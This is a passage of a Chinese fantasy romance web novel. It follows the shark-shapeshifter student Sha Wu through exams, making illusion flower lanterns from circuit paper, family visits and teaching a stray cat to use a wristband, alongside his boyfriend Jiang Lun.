小鲨鱼一条鱼在极夜的北冰洋里捕鱼都不怕，现在跟他说害怕走夜路？ 两人都心知肚明，但姜纶就很喜欢沙伍这样的撒娇。 姜纶看了一眼他的课程：“你不是修了两个专业？考试多很正常。” “我什么时候修了两个专业？”沙伍一脸惊讶。 “你不是净化和战斗两个专业都读了吗？”姜纶拉过他的手环，找到他选修的课程和对应的专业，“喏。” “我什么时候读了两个专业，我自己怎么都不……咦？”沙伍看着清清楚楚的两个专业，整个人都混乱了，“梁伯伯跟我说选两节战斗专业的课当体育课，可以活动身体……” 他那么信任梁伯伯，把他当爸爸，结果被……也不能说是被坑。 他想联系梁管家，想想还是算了。 事已至此，先准备考试。 复习告一段落，沙伍起来活动一下：“我去楼下摘个变异柠檬。” “去叭。” 宿舍改造保留了一部分变异植物。 沙伍熟门熟路摘了一个成熟度合适大小合适的柠檬，抱着柠檬回来的时候，看到许多工作人员鱼贯而出。 “下班了啊。” 看着许许多多的工作人员，沙伍干脆换了个出入口进门。 没想到这里也有人，看样子似乎是在……等他？ 沙伍感觉有点莫名其妙，但还是上前询问：“姚助理是有话要跟我说？” 这位就是之前给他开门的助理，只不过他已经很久没见到这个人了。 一来他真的很少过来，二来姚助理也是有工作的人，不可能特意专门给他服务。 姚助理显然是一副准备下班的样子，提着公文包，一脸精英打扮，对沙伍露出一个礼貌的微笑：“是的。其实很早就想跟您单独谈谈，只是一直没有机会。”他比划了一个手势，示意不要等在门口，稍微往外面站一点。 沙伍跟着他走了几步路，四周是开阔的草坪，有人过来马上就能看到。 姚助理说道：“您和小少爷是情侣，想必知道小少爷的母亲姓姚。” “嗯，知道。你和姜纶妈妈是一个姚吗？”是这意思？同一个姓氏又怎么样呢？ 姚助理的笑容中多了一点矜持：“是的。小少爷虽然姓姜，但也是我们姚家的一员。您既然得到了他的承认，有些方面希望您能适当遵守一下我们这种家族的规矩。这里是小少爷的办公场所，希望您没有必要，不要来打扰小少爷工作。作为小少爷的情侣，您要在方方面面辅助小少爷，而不是让小少爷浪费时间花在一些无聊的事情上，譬如学校的流浪猫什么的。小少爷的时间是非常宝贵的，希望您谨记。” 沙伍感觉十分困惑：“你是以什么立场来跟我说这话的？” 姜俣、姚瑞云都没跟他说过什么规矩，姜纶更是直接说他们就是规矩，他要遵守谁的规矩？ 姚助理这下是连演都不演了：“我作为姚家下一代的继承人之一，将来青龙城的管理者，只是通知你。不要以为你现在受到小少爷的偏爱就可以有恃无恐，等小少爷玩腻了，你一个孤儿就什么都不是。” 沙伍全程都没法生气，用一种了然的语气说道：“你们姚家人是不是都这么自以为是？姚正清也这样。” 姚助理没想到他会是这样的反应，听到堂弟的名字微微皱眉：“你现在是小少爷的情人，要对他忠诚。” 沙伍连白眼都懒得翻：“说我什么都不是，你才什么都不是。姚家传承两百多年，你们和妈妈之间还有多少血缘亲情？把你刚才对我的要求，要求你自己，才是你该做的。对了，我不是姜纶的什么情人，是正经男朋友，希望你以后摆正自己的位置。” 姚助理当然不蠢，也知道自己说的话中有污蔑沙伍和姚正清不清不楚的意思，更听出来：“你叫……妈妈？” 沙伍微笑：“懂了吗？” 姚助理咽了咽口水，下意识后退一步，低头：“是我冒犯了。” 四楼窗户打开，姜纶在楼上招手：“小鲨鱼，晚餐送到了。” “来了！”沙伍对姚助理随意挥了一下手道别，一路小跑上楼。 两人吃过饭后，姜纶好奇问：“你跟姚助理说什么呢？” 沙伍简单说了一下：“我就说姚助理给我的感觉哪里怪怪的。” 姜纶脸色不好看：“最讨厌这种打着为你好名号的了。” 沙伍看他打开了光屏扒拉一堆东西：“干嘛？” “不是说自己是未来青龙城的管理者吗？找个地方让他发挥自己的才能。啧，连一线工作的经验都没有，靠着姓姚才爬上来的，真以为自己多有能力呢。” 沙伍听他这么说，很惊讶：“啊？青龙城原来是任人唯亲模式吗？” “当然不是。只是一个家族掌权的时间久了，总会有一些‘约定俗成’。一样的岗位，差不多的能力，一个是自家人，一个是外人，你提拔谁？别人想要上位，也必须通过相关的利益绑定，譬如联姻什么的。两百多年，不光是青龙城，后土城、朱雀城、白虎城都差不多，高层差不多都是一群近亲繁殖的垄断势力。” “玄武城不一样吗？” “不一样。玄武城是特例。有机会我们可以一起去拜访一下。” “我们可以先去玄武城旅游。这个寒假有时间去吗？” “没有。我得在青龙城工作到过年，才能回去后土城。”姜纶突然把沙伍抱在怀里狠狠吸了一口，“明明我也该在上学的，为什么有做不完的工作？” 沙伍扒拉他刚关掉的光屏：“你明明在打游戏。你都不上课，更不写作业。我放学回家还要写作业，还要被风叔逮着补课。”越说越生气，他扭头就咬了姜纶一口，“我去考试了！” “我送你去。” 结果说着应该上学的小少爷，坐在考场外打了两个小时游戏。 沙伍考试倒是很顺利，就是只允许提前交卷，不允许提前出考场，待在考场里眯了一小会儿，然后直接就睡着了。 知道姜纶和沙伍的监考老师没有叫醒沙伍，出门叫了一下姜纶：“沙伍同学睡着了，麻烦姜同学把他带回去？” “好的，谢谢老师。”姜纶走进学生已经走了大半的考场，背着沙伍出门，“老师，那我们先走了。” “好，再见。” 走得比较迟的学生们看着姜纶背着沙伍很快飞走，突然后知后觉：“姜纶刚才是不是没用飞板？” 第88章 彩纸 现在青龙学院里，同年级的学生大部分都知道姜纶是有异能的。 只是对于姜纶的异能水平，究竟是什么异能，大家都只是猜测。 普遍认为姜纶的实力很一般。 “姜纶是风系的？” “不是说土系的？” “我们学院的，多少沾点水吧？” “那就是多系的。” 多系的才是普遍情况，单系的比较少见。 “也可能是新科技。最近不是出了飞行鞋？” “穿上就能飞的鞋子吗？是不是跟飞板差不多？” 沙伍第二天考前被围着问飞行鞋，一头雾水：“考试啊，你们还有心思想别的事情？” 同学们哀嚎：“为什么战斗专业的还得考数学啊！！！” “数学就已经开始嚎了，链路课考试得成什么样？” “反正这个学期教的只是基础，还好啦。又不是谁都像几个变态一样，现在都能独立勾链路了。” 沙伍听得愣了一下：“不是，基础……大家上课的时候不是都在勾链路吗？”难道他不是和其他人一起上的课？ “你和白虹他们是真的在制作链路，我们只是拿着板子在练习。” “你不知道我们拿的是练习用的板子和链路笔？只是长得像，不是真的。” “下半学期才开始真的制作。这个学期基本是数学计算。” “不知道风老师下学期还带不带我们？多亏了风老师，感觉本科几年的板子材料已经够了。” 板子的材料比晶核便宜很多，但一块最基础的空白板子，哪怕是在学校文具店，也得卖百来块。 众所周知，学习链路的报废率非常高。 学校会发一部分材料，但学生们都会自己再买一些额外的用于练习。 虾同学想着沙伍之前都不用链路笔和墨水，直接用异能勾链路，低头在自己的光屏上写下——沙伍，预备九级（1/3）。 想要在太湖老家建城，姜纶说起码得有三个像院长这样级别的九级才可以。 以他和沙伍的交情，加上沙伍的性格，如果有需要的话，哪怕沙伍九级了，想要请动他应该不难。 姜家肯定有超强的九级，但是不太可能搭理他。 姜纶本身的实力成谜，暂时不计入考虑。 他家的话，他姑姑应该有希望突破到九级。 他们家族毕竟天赋净化，虽然都是偏向于自然净化，但也有一些战斗净化者，认识的高阶异能战士数量不少。 再过二三十年，想要请到三名以上的九级应该努努力能做到。 院长在九级里应该算是很强的吧？就是不知道院长强到什么程度。 保守估计，最好再多请一位到两位九级。 沙伍感觉到一股灼热的视线，回头一看，发现是虾同学，不由得投过去一个询问的眼神。 虾同学回给他一个加油的动作。 沙伍跟着比划了一下。 天昏地暗的考试周结束，沙伍整个人都瘫了。 姜纶拉他起床：“陪我去上班。” 沙伍抱着被子不撒手：“不去。我要睡懒觉。” “到我办公室，你可以待在休息室里一样睡。你在家肯定睡不成懒觉，会被夜老师抓去钓鱼。” “不可能。院长前两天就去朱雀城了。”他在床上躺得好好的，为什么非得换个地方睡觉？ 姜纶眼睛一亮：“他们都走了？！真的？” 沙伍被吵醒，整个人迷迷糊糊的：“真的。昨天晚上风叔没有回巢。我发消息问了。”虽然被骂了一顿。 “太好了！终于没人拦着我和你在一起了！”姜纶重新坐到床上，隔着被子抱着沙伍，逮哪儿亲哪儿。 沙伍被他骚扰得烦不胜烦：“你不是小朋友了，给我去上班赚钱！” 姜纶悻悻然收手：“真的不陪我？” 沙伍把脑袋埋进被子里，发出闷闷的声音：“中午陪你吃饭。” “好吧。”姜纶突然想起刚才忽略掉的信息，“风叔筑巢了？” “没。我用练习链路的材料给他搭了一个。鸭老师给了我一些指导。” 大乌鸦睡过的地方暖烘烘的。 有个窝，方便他在大乌鸦不在的时候偷着眯一会儿。 哦，对！ 姜纶上班去了，沙伍睡着回笼觉，突然垂死病中惊坐起，光着脚就往窗外蹦跶，变成乌鸦飞到风阳羽的鸟巢里，用水系异能托着鸟巢回到房间，直接在鸟巢里继续睡。 偷家成功~ 中午，沙伍是带着一大堆材料去找的姜纶。 姜纶不理解：“带这么多东西干嘛？” 沙伍把保鲜盒从小飞车上拿下来，让小飞车自己去停车：“我下午回一趟家。你接下来不是要在城里办公？我们到时候住家里。” 小飞车上，除了他练习链路用的材料之外，还有两人的一些生活用品。 姜纶只要想着接下来一段时间，都可以随心所欲地跟小鲨鱼贴贴，就特别高兴：“好~” 沙伍吃过午饭就回青龙城里的家了。 这个学期忙，他回家的次数不多。 下楼买冰淇淋的时候，他还被新邻居以为是谁家亲戚嘀咕了一句：“乱放人进来。” 沙伍莫名其妙的人见多了，并不在意。 他去商场买冰淇淋，顺便去逛了一下卖异能物品的楼层。 自从被虾同学和小丑鱼带着逛了文具区后，他就打开了新世界的大门。 店员已经认识他了，看到他就笑：“沙同学，有新颜色的墨水。过年了，彩纸你要吗？可以做窗花和折纸、灯笼。” “彩纸？” “其实是一种一次性链路板。可以买材料包，有对应的链路教程、笔、墨水、晶核。” 沙伍觉得彩纸很好看，成品的效果图也很好看：“买。” 店员就喜欢这样出手大方的客人，更别说客人长得还很帅。 哎呀，感觉上个月的时候看着还是可可爱爱，这个月看着怎么像是突然就变帅了。 一定是金钱的力量！ 店员把商品都仔细打包好，交给沙伍，在心里已经计算好了自己这一单的提成，看沙伍的背影都觉得散发着金钱的光芒。 沙伍本来打算再搭一个新的鸟窝，现在有了彩纸，就开始折腾起彩纸。 然后沙伍就看到了一种新的勾链路方式。 材料包里的彩纸，上面已经有了链路，只是里面没有能量。 只需要用配套的链路笔，吸取墨水后填满链路，按上对应的晶核，就能激活。 五颜六色的小晶核，一枚只有半粒芝麻大小。 沙伍甚至都没有感觉需要消耗异能：“这个没有异能也能玩？” 他看着激活后绽放开的经典粉色荷花，感觉还挺好看的。 拿了一张普通彩纸，用正经链路笔和墨水勾了一个同款链路，得到一个同款的经典粉色荷花灯。 “能不能把荷花做得真一点？”沙伍开始搜索教程。 沙叁下班回家，进门看到玄关有换下来的鞋子：“小伍回来了？” 沙伍在楼上小客厅，听到声音，喊了一声：“三哥。” “你什么时候回来的？下来，给你带了甜汤。我们公司同事自己做的。” 沙伍一下就从二楼跳下来。 沙叁：“你不会走楼梯吗？”他狐疑地看了看沙伍的光脚丫，“你从二楼跳下来，怎么一点声音都没有的？这就是异能？” “不是，这是体能。”沙伍故意抬了抬下巴。 “厉害厉害。好了，拿去餐厅吃。我先去换个衣服。” 等沙叁换完衣服出来，沙伍已经快吃完一碗了：“你今天这么早下班？” “嗯。过年了嘛，我现在做营销，年底没什么项目，差不多时间就回来了。”沙叁坐到沙伍对面，端起家政机器人盛好的甜汤喝了一口，“对了，问你个事情。” “什么事？” “听说青龙城要扩张出一个面积比现在青龙城还大的新城？真的假的？” “比现在的青龙城还大？”沙伍倒是没算过面积，打开手环，用地图上的小工具测量了一下，“哦，对。比现在的青龙城大。” 沙叁看他打开地图，人都有些傻，跟着打开地图：“现在地图上已经看得到了？在哪儿呢？” 沙伍把自己的地图给他看：“从我们学校的潮汐湖往东，一直到北面的3号监测点，南面到我宿舍。” 沙叁看着地图上现在空荡荡的一片，最明显的是一些平直的河道和道路。 跟着沙伍的指示看到3号监测点附近的大片农田，再顺着看到：“宿舍？你说的搬新宿舍搬这么远？这都不在学校里了吧？你每天怎么上下学的？是不是半夜出发，每天走四个小时山路？” “啊？什么四个小时山路？飞板20分钟，还好啦。” “哦，我最近去陈列馆看了一部修复的大灾变前的老片子。”沙叁放大地图，“20分钟倒是还好。你们宿舍还有专属医院啊。这个医院开在那里，是不是就专门给学生看病？还是作为以后新城的附属设施？” 沙伍看沙叁放大的地图，上面标注的小鲨鱼专科医院：“嗯，这个是专门给我体检的医院，就在宿舍里。将来要是我们不住那里了，说不定会成为新城的附属设施吧？” 沙叁当他是在说笑：“还专门给你体检……说起来，你们学校为什么把你们送到那么远的地方去住，现在你们宿舍住了多少人？” “宿舍，正经学生就我一个。姜纶只能算半个，剩下的都是管家伯伯他们，大概二三十个？” 服务人员的人数并不固定，人家也不是专门干这个的，平时有自己的工作要忙。 沙叁挠头：“这么壕无人性吗？真的就给你一个人用的医院？” “本来就是专门给我的医院。上面不是写着小鲨鱼专科医院？我的觉醒体是小鲨鱼啊。”沙伍解释。 沙叁整个人的脑子卡顿了一下，经过一系列生锈齿轮转动的滞涩幻听，才慢慢想起来：“我是听姜纶叫你小鲨鱼……不是，你的觉醒体怎么会是小鲨鱼？是什么小体型的鲨鱼吗？还是单纯长不大？” “那肯定是能长大的。我会长到体重两百吨！”沙伍表情严肃。 沙叁抬手就拍了他头顶一下：“狗屁的两百吨，就你豆芽菜一样的小身板……豆芽菜都比你壮实。” “豆芽菜不可能比我壮实！” 沙叁立马就带着沙伍去了附近商场的超市，买了花生芽：“是不是比你壮实？” “这是花生，不是‘豆’芽菜。”他指了指边上的绿豆芽，“我肯定比绿豆芽壮实。” 沙叁不屑：“出息！” “你怎么不直接在网上下单了送过来？” “这不是有时间嘛。自己挑选食物的感觉就很踏实。怎么说呢？有一种过日子的感觉。”沙叁一边带着沙伍选购食材，一边说道，“以前在孤儿院就算了，后来出来工作也是住在宿舍，根本就不是过日子。整个人都是悬着的，不踏实。我做梦都想着租一套大一点的房子。到时候我们一家人可以和沙妈妈一起包饺子，或者做别的什么一起吃饭。还是我们小伍有出息。” 挑选完了自己要吃的食材，他接着去异能食物专区挑选：“你现在是一级，还是二级？” “一级。” “姜纶呢？他晚上也回家吃饭吧？” “嗯。他跟我吃一样的就好。” “行。那你们三个人就吃一样的。”沙叁问他，“想吃什么？” 沙伍秒答：“想吃零食。” “问你想吃什么菜。” “随便吧。哥给我买零食。” 最后沙叁自由发挥买了菜，又给沙伍买了许多零食。 自己拿不下，让超市的无人快送车送回家的。 沙伍回去的时候，手上拿着个八球的冰淇淋。 沙叁看得脸都在抽抽：“你小心点别摔了。”又嘀咕，“怎么能堆这么高？” 沙伍拿着棍子一样的冰淇淋，开心极了：“我还让他们给我画了个海豹脸，特别可爱。” 沙叁完全看不出冰淇淋球上的抽象线条和海豹有什么关系：“小动物不都长这样？” “肯定不是。我捡到过一个海豹，很胖，拍一下肚子，整个身体都有波浪，特别可爱。” 沙叁看他说完，就一口咬掉一个球：“你什么深渊巨口？也不怕冰到牙齿。说起来，你小时候就想养各种奇怪的小动物。” “有吗？” “有啊。那时候你还很小，大概不记得了吧。那时候我看着你和小肆。小肆还好，就你，一个错眼就抓点奇怪的东西。对，你小时候特别喜欢壁虎、石龙子、小蛇什么的。那时候孤儿院的位置很郊区，外面有大片没开发的荒地，经常有小动物跑进来。” 沙伍完全没印象。 两人走进电梯，里面有一对父子。 其中那个爸爸就是嘀咕沙伍的人。 他身材中等，微微发福，一双眼睛里全是市侩，看到沙叁，满脸都是笑：“这个小哥原来是你家的啊。我还说怎么没见过呢。” 沙叁也是一脸营业笑容：“是啊，我五弟，在读大学，平时太忙了，回来得少。”对沙伍说道，“这是上个月刚搬进来的田杰叔叔，住16楼。这是田英卫小朋友，在青龙三小读四年级。” 介绍完，没听到沙伍吱声，就见沙伍和小朋友面对面看着。 电梯上升到15楼，沙伍突然一口咬掉一个球。 田英卫小朋友的眼睛瞬间瞪大。 16楼到了，田杰带着莫名其妙有些依依不舍的儿子离开。 电梯门还没关上，田杰就对儿子训斥：“你是B级天赋的异能者，跟这些穷鬼保持距离。咱们家在这儿是过渡。” 田英卫小朋友疑惑：“可是刚才的哥哥也是个异能者。” 居民楼里的电梯关合速度比较慢，沙叁听得无语：“什么叫穷鬼？这个小区虽然不是新房子，但是地段好，价格不低，住在里面的人起码都是企业高管，或者是异能战士，怎么就穷了？” “是我不够努力。等我争取给家里换个有独立花园的大别墅。” 沙叁看他还笑：“被人看不起，你就一点都不生气？” “有什么好生气的？总不能要求每个人都喜欢我。”沙伍想到姚正清的告白，感觉牙酸，“就算是喜欢，每个人的表达方式也不一样，不一定会让我喜欢。” 啧，脑子太空闲了，竟然会想到无关紧要的人。 沙叁听出点意思，一点都不意外：“你和小肆都一样。长得太好了，咱们出身又不好，总会有恶心的家伙一边说着喜欢，一边不尊重人。” “随便别人怎么想。”沙伍从来就不在意外人的看法，“四姐那边怎么样了？什么时候回来？” “还没确切的消息。今年很忙的样子。”电梯到了他们的楼层，进门把东西交给机器人，沙叁拍了拍沙伍的肩膀，“多亏了你帮忙，我们这些当哥哥姐姐的也不能给你丢脸。” 沙伍愣了一下：“啊？你们看出来了？” 沙叁冷哼一声：“我们都多少年的社会人了，还会看不出这么明显的提拔？要不是你的关系，想要靠我们自己的努力升职，还早得很。” “嘿嘿。加油！”沙伍反手拍拍他的肩膀。 沙叁故意甩开他的手：“没大没小。快吃你的冰淇淋去，化了！” “哪那么快化？”沙伍光着脚踩在地板上，盘腿往地毯上一坐，背靠着沙发，找到一部片子看起来，才开始吃冰淇淋。 沙叁看他这幅样子，走过去轻轻踢了他一脚：“沙发上不坐，非得坐地上。我去摘草莓，你去不去？” “不去，不感兴趣。”他只对摘变异柠檬感兴趣。 沙叁走到落地窗前换室外鞋：“为什么？你不是对种东西很上心吗？露台上好多东西都是你买的，不想体验一下收获的喜悦？” “一盆两盆的叫收获的喜悦，大规模种植叫劳动的艰辛。”沙伍完全不想动弹，“我买太多苗子了，薛哥压着我干活。草莓大棚一眼看不到头。” 临近期末，他想抓夜师傅帮忙吃都抓不到。 沙叁想到地图上看到的大片大片的农田，感觉可以理解，自己出去把今天成熟的蔬菜和水果摘下来：“吃草莓吗？” “吃。” 沙叁洗好草莓，客厅里已经没人了，喊了一声：“小伍？” “我在楼上！” “下来吃草莓！” “不下来，你帮我拿上来！” “惯的你，下来，不下来就别吃！” “不要，不给我送上来，我就不吃！” 沙妈妈开门进来：“你们两个吵什么呢？” 沙叁告状：“喏，小伍那个懒虫，草莓洗好了，非得送上去才肯吃。” 沙妈妈失笑：“多大点事。你让机器人给他送上楼不就行了？” “沙妈妈，你回来啦~”沙伍哒哒哒跑下楼，一挥手，一朵朵漂亮的桃花、荷花、牡丹花环绕着沙妈妈竞相绽放，“好不好看？我厉不厉害？” “哇！”沙叁立马放下草莓盘，打开手环拍摄，“好看好看！” 沙妈妈本来就很喜欢花花草草，突然被这么多花包围，整个人都惊喜异常：“这是什么啊？也太好看了吧？来来来，我们一起拍给你们大哥他们看，羡慕死他们。” 家族群里很快就听取哇声一片。 姜纶也开门进来：“好热闹啊，这么多‘花’？小鲨鱼做的？” 沙伍一下就扑到他背上，带给他看彩纸：“喏，这个。它有个模版，不过做出来的花花是这样的，看上去都一模一样，我自己做了一些改良。”他拿出自己做的几版荷花，“是不是差距很大？” “嗯！差距不是一般的大。”沙叁率先发表评价。 沙伍去踢他：“叫你上来，给你看，你还死活不上来。” “你只是让我跑腿。” 姜纶在研究彩纸：“还有一次性板子这种东西啊？这个能持续多久？” “4-6个小时。”沙伍指指说明书，“今年我要去灯会摆摊！” “好啊，摆摊！”沙叁热情高涨，“你这个要卖多少钱？说起来成本多少？” 沙伍算了算成本：“成本大概五百一个？” “这么贵？”沙叁被吓到了，“不是，真的有人花大几百，买个只能玩一个晚上的花灯？” 姜纶指了指最早的那个版本：“这个才是五百成本的。后面这几个是改良了链路的，还得再算上知识产权。我们家小鲨鱼在这方面真的很有天赋。对了，我把校霸带来了。” 纯白的狮子猫端坐在门口的地垫上。 那边光线不是很足。 狮子猫残缺的耳朵看上去有点圆。 沙伍走过去，把校霸一下抱起来举高高：“校霸是只大狮子！” 校霸发出娇软的叫声：“咪呜~” 第89章 难带 姜纶去洗澡换衣服，沙伍抱着校霸到楼下跟沙妈妈和沙叁讲校霸的事情，一边习惯性地给校霸做治疗。 他突然想起来，张开一个泡泡，把沙叁和沙妈妈一起包裹住，刚想着净化，脑子里突然想到刚才做彩纸花灯的感觉，又想到自己平时变成猫在校园里瞎溜达的时候，会适当改变周围的环境，整个人突然陷入了沉思。 沙叁感觉脚下湿湿的，低头一看，发现地板不见，变成了水潭；再一看，他们坐的沙发变成了一片巨大的荷叶。 粉色花苞在他面前绽放。 周围的温度也从暖气的热度，变成灼热的炎夏。 沙妈妈捂住沙叁的嘴巴，比划了一个“嘘”的动作。 沙叁疯狂示意自己明白了。 沙妈妈松开手，看沙叁无声大喘气，才意识到自己把沙叁的鼻子一起捂上了，比划了一个道歉的手势。 沙叁好不容易缓过气，突然感觉自己的脚被扯了一下，以为是猫，结果看到猫比他还淡定，好好坐在沙发上，认认真真舔爪子洗脸。 那是什么？ 脚又被扯了一下，这一次的力气更大，他整个身体都往下滑了一段。 变成荷叶的沙发摇来摇去十分不牢靠，还滑溜溜的没有抓的地方，沙叁强忍着还是发出一声惊呼，看到一根牵牛花从水下升起，缠在他的脚踝上，把他猛地拽进荷叶笼罩下黑色的水潭中。 沙叁再也忍不住，“嗷呜”一声叫了出来。 预想中的掉进水里并没有发生，荷花池褪去，他一个屁股蹲跌坐在地毯上。 “沙！伍！” “哈哈哈！哥，我错了哥！” “好了，别闹了，赶紧吃饭。” 今年姜纶要在青龙城工作的时间比较久，所以沙伍也会待到过年前。 他本来还想着自己一个人去玄武城旅游，结果被沙妈妈摁住了，每天跟着姜纶去上班。 沙伍去了也就是待在办公室隔壁的休息室里，还不想学习，无聊到开始教校霸用手环。 校霸给姜纶发送了一条语音：“喵~” 姜纶惊讶地推开休息室的门：“校霸真的学会了？” “有儿童手环。功能比较简单。”沙伍还买了宠物手环，只是宠物手环只能做到定位和生命体征报警，功能方面完全没考虑到让宠物操作。 当然，一般宠物也不需要操作手环。 姜纶对校霸的感情比较特殊，毕竟校霸是唯一一只不怕他的小动物。 他待在学校办公的时候，校霸竟然还会特意过来找他。 他摸了摸校霸的脑袋：“那你慢慢教，我继续工作。” “去叭。”沙伍趴在地上，很快就变成了白猫，跟校霸头碰头，示范怎么操作手环。 可能是猫教猫比较快，校霸很快就学会了最基础的联络功能。 一周后，校霸已经学会了自己看纪录片。 “真的不是你自己要看纪录片吗？”姜纶把变成小鲨鱼玩偶的真小鲨鱼抱起来。 这个人自从做彩纸花灯，对幻境突然开窍后，就热衷于把自己变成各种东西，已经不局限于模仿了。 “不是，校霸自己选的。”小鲨鱼玩偶用翅尖戳戳他的手腕，“这你都认得出来？” “嗯。一眼就能认出来。”他埋头在小鲨鱼的脖子……小鲨鱼没有脖子，忍不住笑出声。 小鲨鱼布偶拍打着翅膀，变成狮子猫咬了他一口：“喵！”然后跳到沙发上。 姜纶看着他的样子，打开光屏，快速画了一幅简笔画：“你变成这样？” 简笔画上的人顶着三角耳，长着蓬松的大尾巴，只在重点部位覆盖着厚实的猫毛。 狮子猫一个翻身，四脚朝天，仰躺着伸了个懒腰：“我变成那样，你又不能干什么？”瞎折腾什么？ 姜纶看着动作已经和普通猫没多大区别的沙伍，伸手从耳朵尖摸到尾巴尖，咬牙：“总能吃到的。” 狮子猫转了转耳朵，装没听见。 校霸趴在沙发靠背上，专心看着纪录片里的关于动物捕猎的场景。 校霸开始沉迷看片。 沙伍不得不给它买了视频会员，问它：“我查到有个专门给完全转化的小孩子玩的游乐园，要不要一起去玩？” 冬天人少，应该可以玩尽兴。 不行的话，等他体验一下什么项目好玩，让姜纶手搓一个。 校霸理都不理他，眼睛盯着光屏，嘴边放着温水和冻干组合。 沙伍幻视一个在家瘫在沙发上喝啤酒吃薯片的中年大叔。 “不不不，猫猫这么可爱~” 他把校霸抱到自己腿上，持续做治疗：“你们流浪猫之间抢地盘是真下狠手啊。身上这么多伤，到底是怎么打出来的？你一开始也不这么厉害的吧？会不会很害怕？” 校霸甩了甩尾巴。 沙伍撇撇嘴：“好啦，我不说话，不打扰你看纪录片。” 光屏上的雄狮高大威武，金黄的毛发犹如身披战甲。 它脚踩着大地，巡视自己的国土。 校霸也站起来，仰着头，威风凛凛，对着进来的姜纶叫了一声：“猫嗷……咪呜~” 沙伍看校霸一下就跳到姜纶脚边绕圈圈：“校霸怎么跟你比较亲？明明我才是爸爸。” 姜纶对他的爸爸言论只给了个眼神，让他自己体会。 沙伍立刻过去，把校霸抱起来：“说！我是不是你爸爸？” 校霸用一种宽容的眼神看着沙伍，抬起一只爪子，轻轻摁住他的脸：“喵。”乖，好好的。 “哦。”他就是个弟弟。 姜纶看得好笑：“走了，吃饭去。今天祁叔给校霸做了营养餐，加了一丁点有治疗和滋养作用的小银鱼。” 校霸之前吃了一只虾仁没事，不代表吃其它变异食材也没事，但证明它可以消化吸收少量的变异食材。 祁大厨对此很感兴趣，针对校霸制作了调理的食谱。 食堂包间里，校霸看到祁大厨就竖着尾巴过去一通缠绕，叫声又娇又软。 祁大厨一张看起来三十左右，还很年轻的脸上，差点笑出褶子，把食材丰富精心摆盘的猫饭放到桌上，还拿出一把梳子。 校霸一边吃饭，他一边梳毛。 沙伍自己摆饭，看到故意说：“叔，你待校霸，比待我好！” 祁大厨朝他挥挥手：“肯定的。校霸多听话多乖多可爱，你太难带了，还不听话。” 沙伍不服：“我也很乖很可爱啊。” 姜纶表示赞同：“对，小鲨鱼天下第一可爱！” 祁大厨都懒得给他们一个眼神：“你就是装乖装可爱，跟你的异能一样都是装的，死装！这几天住家里，偷吃了多少冰淇淋，你自己说。” 沙伍顿时噎住：“我不说。” “切。”祁大厨亲亲校霸，“还是我们校霸最可爱。” 校霸抬头，在祁大厨下巴边蹭了蹭，发出一声高糖的“喵~”。 祁大厨送完餐，就准备走了：“我把你们的晚餐，连同沙珆女士的5点送到，你们记得收一下。这几天的食材也会让农场送过去，食谱已经录入那边的机器，你们自己操作一下。没问题的话，那我走了。” 沙伍还愣了一下，才反应过来沙珆是沙妈妈的名字。 “好，提前给祁叔拜个早年，新年快乐。” “小伍、小少爷也新年快乐。那我先走了。”祁大厨开始新年假期了。 沙伍看他说着，就要把猫抱走：“校霸我的。” 八级大佬动作飞快，根本不是一个一级菜鸟能比的，一晃就不见了踪影。 沙伍简直不敢置信：“他就这么把校霸带走了？” 姜纶也惊讶了一下：“嗯。没想到祁叔这么喜欢校霸。” “我在给校霸做治疗呢。” 姜纶当然知道，但是：“不着急，反正祁叔就带着校霸出去十来天。过年家里人多眼杂的，校霸说不定会不适应环境。” 他知道治疗的事情，也能看出沙伍的异能用的非常小心翼翼，生怕异能多一点点就把猫像杂草一样炸了。 强度和单纯用个泡泡罩着被动净化差不多。 校霸自从收了沙伍当小弟后，毛发变得干净，身体也变得强壮。 姜纶摸过校霸，柔软厚实的长毛下，全是梆硬的肌肉。 他感觉自己已经能够预见到春天的时候，自家鲨猫会跟在校霸屁股后面，一起去和别的流浪猫群打架。 他伸手摸摸自家小鲨鱼。 嗯，软骨鱼的身上哪儿哪儿都软软的，还香香的。 沙伍吃着饭呢，冷不丁被抱住，冷静地把嘴巴里的食物咽下去：“好好吃饭。” 姜纶抱着他不撒手：“喂我。”他突然感觉到一种本能得到释放的轻松，“他们都走了，校霸也走了。你就是我一个人的了。” 小鲨鱼的注意力会全部放在他的身上，想想就让人兴奋。 他就不该同意让冒牌乌鸦跟着到青龙学院来，跟来就跟来了，最不该的是带着冒牌乌鸦让夜老师安排工作。 他本来跟小鲨鱼在一起待得好好的，又不会影响小鲨鱼上课，冒牌乌鸦非得把他赶跑，连带着夜老师也一样。 真的是，都不是什么好鸟！ “好啦~啊~”沙伍喂他吃饭，感觉自己全身都被喜欢的气息包裹，整个人都有些飘飘然。 两个人很快就黏糊地不行。 工作的时候虽然没有抱在一起，但也是肩并着肩腿挨着腿。 沙伍戴着耳机在网上找找旅游攻略，看各种奇怪的小玩意儿。 秘书进来汇报工作的时候，差点认不出来那个一脸如沐春风模样的青年是姜纶。 姜纶确实今年才21岁，在青龙城的管理团队上都不能说是年轻，只能叫小孩儿。 但是在实际工作中，没人会去在意姜纶的年纪，顶多就是空闲下来的时候感慨，人家的21岁和自己的21岁完全不一样，搞不明白一个才21岁的人，怎么就能掌握那么多的知识，解决问题的能力会这么强。 这不是简简单单的说一句家世好就行的。 能够出现在他们这个团队里的人，哪一个都不能说家世真正的差，但谁家没几个败家子？真正成才的能有几个？大部分不都是庸庸碌碌的普通人？ 秘书汇报完工作，被姜纶又交代了一堆，内心哀嚎：顶头上司的工作效率又变高了。 姜纶说道：“早点把工作做完，我们争取今年早点放假。” “好。”秘书退出办公室，关上门之前看了一眼沉浸在自己世界中的沙伍。 他的脸部线条还保持着少年的圆润，眉眼都圆圆的，看上去可可爱爱，完全没有攻击性的样子，瞧着就让人心生欢喜，像个漂亮听话懂事又可爱的理想型弟弟。 单纯这么看着，他甚至比他的猫更没有攻击力。 但她总觉得沙伍身上有一种和姜纶类似的什么东西，她说不上来，也无意深究。 普普通通的打工人，还是为了能够早点放假努力吧。 发完年礼，办完年会，姜纶就带着沙伍回了后土城，不出意外地又被姚昭华抓了几天壮丁。 这次他没法随身带着小鲨鱼，因为沙伍被留在了姜俣和姚瑞云的山洞里。 小白龙趴卧在青龙的爪子边上，身长已经有4米，鳞片不再薄得跟透明的一样。 整条龙显然壮实了很多。 晚上姜纶下班过来接人，还被睡迷糊的小白龙咬了一口：“嘶……” 这一下咬得有点重。 